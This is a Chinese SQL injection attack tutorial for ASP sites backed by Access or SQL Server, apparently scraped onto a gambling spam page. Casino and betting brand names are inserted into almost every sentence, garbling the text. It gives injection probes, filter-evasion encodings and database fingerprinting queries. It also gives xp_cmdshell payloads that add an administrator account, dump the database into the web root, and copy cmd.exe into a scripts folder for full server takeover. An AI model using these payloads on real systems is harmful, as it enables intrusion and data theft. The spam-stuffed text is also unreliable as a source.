意昂5娱乐游戏官网入口

 解決方案     |      2020-04-16 16:35
SQL 注入攻击是黑客对数据库进行攻击的常用手段之一官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心long8·龙8(国际版)头号玩家唯一官方网站。随着 B/S 模式应用开发的发 展long8·龙8(国际版)头号玩家唯一官方网站zoty中欧·(中国集团公司)官方网站官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心,使用这种模式编写应用程序的程序员也越来越多EON5-意昂5Kgame「强保障平台,更省心注册」。但是由于程序员的水平及经验也参差 不齐DB真人旗舰·(中国官方)集团有限公司官网,相当大一部分程序员在编写代码的时候MK体育(MKsports集团)股份公司 - Mk SportsEON5-意昂5Kgame「强保障平台,更省心注册」,没有对用户输入数据的合法性进行判断EON5-意昂5Kgame「强保障平台,更省心注册」long8·龙8(国际版)头号玩家唯一官方网站官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心,使 应用程序存在安全隐患人生就是博·AG尊时凯龙(中国区)集团官网EON5-意昂5Kgame「强保障平台,更省心注册」。用户可以提交一段数据库查询代码意昂体育·[官方网]有限公司官网球盟会·qmh(中国区)-官方网站,根据程序返回的结果人生就是博·AG尊时凯龙(中国区)集团官网MK体育(MKsports集团)股份公司 - Mk Sports,获得某 些他想得知的数据DB真人旗舰·(中国官方)集团有限公司官网,这就是所谓的 SQL Injection球盟会·qmh(中国区)-官方网站官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心,即 SQL 注入zoty中欧·(中国集团公司)官方网站。SQL 注入是从正常的 WWW 端口访问澳门人威泥斯娱乐官方网站(中国)官方网站long8·龙8(国际版)头号玩家唯一官方网站,而且表面看起来跟一般的 Web 页面访问没什么区别球盟会·qmh(中国区)-官方网站MK体育(MKsports集团)股份公司 - Mk Sports,所以目前市面的防火墙都 不会对 SQL 注入发出警报MK体育(MKsports集团)股份公司 - Mk Sports澳门人威泥斯娱乐官方网站(中国)官方网站官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心,如果管理员没查看 IIS 日志的习惯澳门人威泥斯娱乐官方网站(中国)官方网站,可能被入侵很长时间都不会 发觉MK体育(MKsports集团)股份公司 - Mk Sports。但是澳门人威泥斯娱乐官方网站(中国)官方网站球盟会·qmh(中国区)-官方网站long8·龙8(国际版)头号玩家唯一官方网站,SQL 注入的手法相当灵活球盟会·qmh(中国区)-官方网站,在注入的时候会碰到很多意外的情况人生就是博·AG尊时凯龙(中国区)集团官网DB真人旗舰·(中国官方)集团有限公司官网,需要构造 巧妙的 SQL 语句MK体育(MKsports集团)股份公司 - Mk Sports澳门人威泥斯娱乐官方网站(中国)官方网站,从而成功获取想要的数据MK体育(MKsports集团)股份公司 - Mk Sportszoty中欧·(中国集团公司)官方网站long8·龙8(国际版)头号玩家唯一官方网站。
SQL 注入攻击的总体思路
发现 SQL 注入位置;
判斷後台數據庫類型;
确定 XP_CMDSHELL 可执行情况 发现 WEB 虚拟目录
上传 ASP 木马;
得到管理員權限EON5-意昂5Kgame「强保障平台,更省心注册」意昂体育·[官方网]有限公司官网long8·龙8(国际版)头号玩家唯一官方网站。
SQL 注入攻击的步骤
一、SQL 注入漏洞的判断
一般来说zoty中欧·(中国集团公司)官方网站官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心,SQL 注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX 等带有参 数的 ASP 动态网页中官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心MK体育(MKsports集团)股份公司 - Mk Sports,有时一个动态网页中可能只有一个参数官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心zoty中欧·(中国集团公司)官方网站,有时可能有 N 个参数zoty中欧·(中国集团公司)官方网站long8·龙8(国际版)头号玩家唯一官方网站球盟会·qmh(中国区)-官方网站,有 时是整型参数zoty中欧·(中国集团公司)官方网站,有时是字符串型参数人生就是博·AG尊时凯龙(中国区)集团官网EON5-意昂5Kgame「强保障平台,更省心注册」澳门人威泥斯娱乐官方网站(中国)官方网站,不能一概而论zoty中欧·(中国集团公司)官方网站。总之只要是带有参数的动态网页且此 网页访问了数据库官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心MK体育(MKsports集团)股份公司 - Mk Sportslong8·龙8(国际版)头号玩家唯一官方网站,那么就有可能存在 SQL 注入zoty中欧·(中国集团公司)官方网站澳门人威泥斯娱乐官方网站(中国)官方网站意昂体育·[官方网]有限公司官网。如果 ASP 程序员没有安全意识意昂体育·[官方网]有限公司官网EON5-意昂5Kgame「强保障平台,更省心注册」,不进行必要的字符过滤EON5-意昂5Kgame「强保障平台,更省心注册」意昂体育·[官方网]有限公司官网,存在 SQL 注入的可能性就非常大long8·龙8(国际版)头号玩家唯一官方网站。
为了全面了解动态网页回答的信息人生就是博·AG尊时凯龙(中国区)集团官网,首选请调整 IE 的配置EON5-意昂5Kgame「强保障平台,更省心注册」球盟会·qmh(中国区)-官方网站意昂体育·[官方网]有限公司官网。把 IE 菜单-工具-Internet 选项-高级-显示友好 HTTP 错误信息前面的勾去掉澳门人威泥斯娱乐官方网站(中国)官方网站人生就是博·AG尊时凯龙(中国区)集团官网DB真人旗舰·(中国官方)集团有限公司官网。
为了把问题说明清楚球盟会·qmh(中国区)-官方网站zoty中欧·(中国集团公司)官方网站,以下以 HTTP://xxx.xxx.xxx/abc.asp?p=YY 为例进行分析官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心球盟会·qmh(中国区)-官方网站DB真人旗舰·(中国官方)集团有限公司官网,YY 可能 是整型意昂体育·[官方网]有限公司官网,也有可能是字符串澳门人威泥斯娱乐官方网站(中国)官方网站zoty中欧·(中国集团公司)官方网站DB真人旗舰·(中国官方)集团有限公司官网。
1、整型參數的判斷
当输入的参数 YY 为整型时zoty中欧·(中国集团公司)官方网站,通常 abc.asp 中 SQL 语句原貌大致如下:
select * from 表名 where 字段=YYlong8·龙8(国际版)头号玩家唯一官方网站DB真人旗舰·(中国官方)集团有限公司官网球盟会·qmh(中国区)-官方网站,所以可以用以下步骤测试 SQL 注入是否存在人生就是博·AG尊时凯龙(中国区)集团官网。 1HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号)zoty中欧·(中国集团公司)官方网站MK体育(MKsports集团)股份公司 - Mk Sports意昂体育·[官方网]有限公司官网,此时 abc.ASP 中的 SQL 语句 变成了
select * from 表名 where 字段=YY’EON5-意昂5Kgame「强保障平台,更省心注册」澳门人威泥斯娱乐官方网站(中国)官方网站,abc.asp 运行异常;
2 HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp 运 行 正 常 官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心long8·龙8(国际版)头号玩家唯一官方网站意昂体育·[官方网]有限公司官网, 而 且 与 HTTP://xxx.xxx.xxx/abc.asp?p=YY 运行结果相同; 3HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp 运行异常; 如果以上三步全面满足MK体育(MKsports集团)股份公司 - Mk Sports澳门人威泥斯娱乐官方网站(中国)官方网站zoty中欧·(中国集团公司)官方网站,abc.asp 中一定存在 SQL 注入漏洞人生就是博·AG尊时凯龙(中国区)集团官网官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心意昂体育·[官方网]有限公司官网。
2、字符串型參數的判斷
当输入的参数 YY 为字符串时官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心人生就是博·AG尊时凯龙(中国区)集团官网澳门人威泥斯娱乐官方网站(中国)官方网站,通常 abc.asp 中 SQL 语句原貌大致如下:
select * from 表名 where 字段='YY'MK体育(MKsports集团)股份公司 - Mk Sports人生就是博·AG尊时凯龙(中国区)集团官网,所以可以用以下步骤测试 SQL 注入是否存在人生就是博·AG尊时凯龙(中国区)集团官网球盟会·qmh(中国区)-官方网站。
HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号)DB真人旗舰·(中国官方)集团有限公司官网,此时 abc.ASP 中的 SQL 语句 变成了select * from 表名 where 字段=YY’EON5-意昂5Kgame「强保障平台,更省心注册」zoty中欧·(中国集团公司)官方网站人生就是博·AG尊时凯龙(中国区)集团官网,abc.asp 运行异常;
HTTP://xxx.xxx.xxx/abc.asp?p=YY&;nb ... 39;1'='1', abc.asp 运 行 正 常 人生就是博·AG尊时凯龙(中国区)集团官网, 而 且 与 HTTP://xxx.xxx.xxx/abc.asp?p=YY 运行结果相同;
HTTP://xxx.xxx.xxx/abc.asp?p=YY&;nb ... 39;1'='2', abc.asp 运行异常; 如果以上三步全面满足人生就是博·AG尊时凯龙(中国区)集团官网DB真人旗舰·(中国官方)集团有限公司官网澳门人威泥斯娱乐官方网站(中国)官方网站,abc.asp 中一定存在 SQL 注入漏洞EON5-意昂5Kgame「强保障平台,更省心注册」long8·龙8(国际版)头号玩家唯一官方网站澳门人威泥斯娱乐官方网站(中国)官方网站。
3、特殊情況的處理
有时 ASP 程序员会在程序员过滤掉单引号等字符人生就是博·AG尊时凯龙(中国区)集团官网球盟会·qmh(中国区)-官方网站,以防止 SQL 注入DB真人旗舰·(中国官方)集团有限公司官网人生就是博·AG尊时凯龙(中国区)集团官网。此时可以用以下几种 方法试一试澳门人威泥斯娱乐官方网站(中国)官方网站意昂体育·[官方网]有限公司官网。
1大小定混合法:由于 VBS 并不区分大小写long8·龙8(国际版)头号玩家唯一官方网站球盟会·qmh(中国区)-官方网站,而程序员在过滤时通常要么全部过滤大写字 符串官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心人生就是博·AG尊时凯龙(中国区)集团官网,要么全部过滤小写字符串意昂体育·[官方网]有限公司官网zoty中欧·(中国集团公司)官方网站,而大小写混合往往会被忽视澳门人威泥斯娱乐官方网站(中国)官方网站意昂体育·[官方网]有限公司官网EON5-意昂5Kgame「强保障平台,更省心注册」。如用 SelecT 代替 select,SELECT 等;
2UNICODE 法:在 IIS 中意昂体育·[官方网]有限公司官网zoty中欧·(中国集团公司)官方网站,以 UNICODE 字符集实现国际化EON5-意昂5Kgame「强保障平台,更省心注册」DB真人旗舰·(中国官方)集团有限公司官网,我们完全可以 IE 中输入的字 符串化成 UNICODE 字符串进行输入人生就是博·AG尊时凯龙(中国区)集团官网EON5-意昂5Kgame「强保障平台,更省心注册」。如+ =%2Bzoty中欧·(中国集团公司)官方网站long8·龙8(国际版)头号玩家唯一官方网站,空格=%20 等;URLEncode 信息参见 附件一;
3ASCII 码法:可以把输入的部分或全部字符全部用 ASCII 码代替意昂体育·[官方网]有限公司官网,如 U=chr(85),a=chr(97) 等long8·龙8(国际版)头号玩家唯一官方网站DB真人旗舰·(中国官方)集团有限公司官网,ASCII 信息参见附件二;
二、分析數據庫服務器類型
一般来说官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心MK体育(MKsports集团)股份公司 - Mk Sports,ACCESS 与 SQL-SERVER 是最常用的数据库服务器球盟会·qmh(中国区)-官方网站,尽管它们都支持 T-SQL 标准DB真人旗舰·(中国官方)集团有限公司官网意昂体育·[官方网]有限公司官网官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心,但还有不同之处人生就是博·AG尊时凯龙(中国区)集团官网DB真人旗舰·(中国官方)集团有限公司官网,而且不同的数据库有不同的攻击方法澳门人威泥斯娱乐官方网站(中国)官方网站意昂体育·[官方网]有限公司官网DB真人旗舰·(中国官方)集团有限公司官网,必须要区别对待EON5-意昂5Kgame「强保障平台,更省心注册」球盟会·qmh(中国区)-官方网站。
利用數據庫服務器的系統變量進行區分
SQL-SERVER 有 user,db_name()等系统变量DB真人旗舰·(中国官方)集团有限公司官网球盟会·qmh(中国区)-官方网站,利用这些系统值不仅可以判断 SQL-SERVERzoty中欧·(中国集团公司)官方网站球盟会·qmh(中国区)-官方网站,而且还可以得到大量有用信息澳门人威泥斯娱乐官方网站(中国)官方网站人生就是博·AG尊时凯龙(中国区)集团官网。如:
1 HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是 SQL-SERVER意昂体育·[官方网]有限公司官网, 而还可以得到当前连接到数据库的用户名
2 HTTP://xxx.xxx.xxx/abc.asp?p=YY&;n ... db_name()>0 不 仅 可 以 判 断 是 否 是 SQL-SERVEREON5-意昂5Kgame「强保障平台,更省心注册」,而还可以得到当前正在使用的数据库名;
利用系統表
ACCESS 的系统表是 msysobjects,且在 WEB 环境下没有访问权限long8·龙8(国际版)头号玩家唯一官方网站官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心人生就是博·AG尊时凯龙(中国区)集团官网,而 SQL-SERVER 的系 统表是 sysobjects,在 WEB 环境下有访问权限官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心球盟会·qmh(中国区)-官方网站。对于以下两条语句: 1HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0 2HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0 若数据库是 SQL-SERVEMK体育(MKsports集团)股份公司 - Mk SportsEON5-意昂5Kgame「强保障平台,更省心注册」,则第一条人生就是博·AG尊时凯龙(中国区)集团官网,abc.asp 一定运行正常zoty中欧·(中国集团公司)官方网站,第二条则异常;若是 ACCESS 则两条都会异常long8·龙8(国际版)头号玩家唯一官方网站zoty中欧·(中国集团公司)官方网站澳门人威泥斯娱乐官方网站(中国)官方网站。
MSSQL 三个关键系统表
sysdatabases 系统表:Microsoft SQL Server 上的每个数据库在表中占一行人生就是博·AG尊时凯龙(中国区)集团官网DB真人旗舰·(中国官方)集团有限公司官网。最初安装 SQL Server 时意昂体育·[官方网]有限公司官网,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项long8·龙8(国际版)头号玩家唯一官方网站意昂体育·[官方网]有限公司官网。该表只存储在 master 数据库中DB真人旗舰·(中国官方)集团有限公司官网意昂体育·[官方网]有限公司官网。这个表保存在 master 数据库中DB真人旗舰·(中国官方)集团有限公司官网澳门人威泥斯娱乐官方网站(中国)官方网站意昂体育·[官方网]有限公司官网,这个表 中保存的是什么信息呢?这个非常重要人生就是博·AG尊时凯龙(中国区)集团官网。他是保存了所有的库名,以及库的 ID 和一些相关信 息澳门人威泥斯娱乐官方网站(中国)官方网站。
这里我把对于我们有用的字段名称和相关说明给大家列出来EON5-意昂5Kgame「强保障平台,更省心注册」。name //表示库的名字MK体育(MKsports集团)股份公司 - Mk Sports。 dbid //表示库的 IDzoty中欧·(中国集团公司)官方网站澳门人威泥斯娱乐官方网站(中国)官方网站意昂体育·[官方网]有限公司官网,dbid 从 1 到 5 是系统的DB真人旗舰·(中国官方)集团有限公司官网。分别是:master、model、msdb、mssqlweb、 tempdb 这五个库DB真人旗舰·(中国官方)集团有限公司官网球盟会·qmh(中国区)-官方网站。用 select * from master.dbo.sysdatabases 就可以查询出所有的库 名DB真人旗舰·(中国官方)集团有限公司官网意昂体育·[官方网]有限公司官网。
Sysobjects:SQL-SERVER 的每个数据库内都有此系统表意昂体育·[官方网]有限公司官网,它存放该数据库内创建的所有对 象官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心EON5-意昂5Kgame「强保障平台,更省心注册」球盟会·qmh(中国区)-官方网站,如约束、默认值、日志、规则、存储过程等澳门人威泥斯娱乐官方网站(中国)官方网站意昂体育·[官方网]有限公司官网球盟会·qmh(中国区)-官方网站,每个对象在表中占一行澳门人威泥斯娱乐官方网站(中国)官方网站long8·龙8(国际版)头号玩家唯一官方网站意昂体育·[官方网]有限公司官网。
syscolumns:每个表和视图中的每列在表中占一行zoty中欧·(中国集团公司)官方网站MK体育(MKsports集团)股份公司 - Mk Sports球盟会·qmh(中国区)-官方网站,存储过程中的每个参数在表中也占一 行人生就是博·AG尊时凯龙(中国区)集团官网。该表位于每个数据库中zoty中欧·(中国集团公司)官方网站。主要字段有:name 意昂体育·[官方网]有限公司官网,id澳门人威泥斯娱乐官方网站(中国)官方网站人生就是博·AG尊时凯龙(中国区)集团官网long8·龙8(国际版)头号玩家唯一官方网站, colid :分别是字段名称MK体育(MKsports集团)股份公司 - Mk Sports,表 ID 号EON5-意昂5Kgame「强保障平台,更省心注册」zoty中欧·(中国集团公司)官方网站官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心,字段 ID 号官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心long8·龙8(国际版)头号玩家唯一官方网站人生就是博·AG尊时凯龙(中国区)集团官网,其中的 ID 是刚上我们用 sysobjects 得到的表的 ID 号球盟会·qmh(中国区)-官方网站EON5-意昂5Kgame「强保障平台,更省心注册」。 用:select*fromChouYFD.dbo.syscolumnswhereid=123456789 得到ChouYFD这个 库中MK体育(MKsports集团)股份公司 - Mk Sportslong8·龙8(国际版)头号玩家唯一官方网站DB真人旗舰·(中国官方)集团有限公司官网,表的 ID 是 123456789 中的所有字段列表DB真人旗舰·(中国官方)集团有限公司官网。
三、确定 XP_CMDSHELL 可执行情况
若当前连接数据的帐号具有 SA 权限EON5-意昂5Kgame「强保障平台,更省心注册」,且 master.dbo.xp_cmdshell 扩展存储过程(调用此 存储过程可以直接使用操作系统的 shell)能够正确执行澳门人威泥斯娱乐官方网站(中国)官方网站,则整个计算机可以通过以下几种方 法完全控制官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心,以后的所有步骤都可以省
HTTP://xxx.xxx.xxx/abc.asp?p=YY&;nb ... er>0 abc.asp 执行异常但可以得到当前连 接数据库的用户名(若显示 dbo 则代表 SA)EON5-意昂5Kgame「强保障平台,更省心注册」。
HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp 执行异常但可以得到当前连接 的数据库名官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心澳门人威泥斯娱乐官方网站(中国)官方网站球盟会·qmh(中国区)-官方网站。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master 是 SQL-SERVER 的主数据库;名中的分号表示 SQL-SERVER 执行完分号 前的语句名澳门人威泥斯娱乐官方网站(中国)官方网站long8·龙8(国际版)头号玩家唯一官方网站人生就是博·AG尊时凯龙(中国区)集团官网,继续执行其后面的语句;“—”号是注解官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心澳门人威泥斯娱乐官方网站(中国)官方网站,表示其后面的所有内容仅为注释MK体育(MKsports集团)股份公司 - Mk SportsEON5-意昂5Kgame「强保障平台,更省心注册」, 系统并不执行)可以直接增加操作系统帐户 aaa,密码为 bbb意昂体育·[官方网]有限公司官网官网- 杏鑫平台 | 帐号ID注册 - 会员登陆中心。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加的帐户 aaa 加到 administrators 组中DB真人旗舰·(中国官方)集团有限公司官网。
HTTP://xxx.xxx.xxx/abc.asp?p=YY ; backuup database 数 据 库 名 to disk='c:inetpubwwwrootsave.db' 则把得到的数据内容全部备份到 WEB 目录下球盟会·qmh(中国区)-官方网站zoty中欧·(中国集团公司)官方网站EON5-意昂5Kgame「强保障平台,更省心注册」,再 用 HTTP 把此文件下载(当然首选要知道 WEB 虚拟目录)EON5-意昂5Kgame「强保障平台,更省心注册」人生就是博·AG尊时凯龙(中国区)集团官网意昂体育·[官方网]有限公司官网。
通过复制 CMD 创建 UNICODE 漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “ copy c:winntsystem32cmd.exe c:inetpubscriptscmd.exe ” 便 制 造 了 一 个 UNICODE 漏洞long8·龙8(国际版)头号玩家唯一官方网站zoty中欧·(中国集团公司)官方网站,通过此漏洞的利用方法意昂体育·[官方网]有限公司官网zoty中欧·(中国集团公司)官方网站,便完成了对整个计算机的控制(当然首选要知道 WEB 虚拟目录)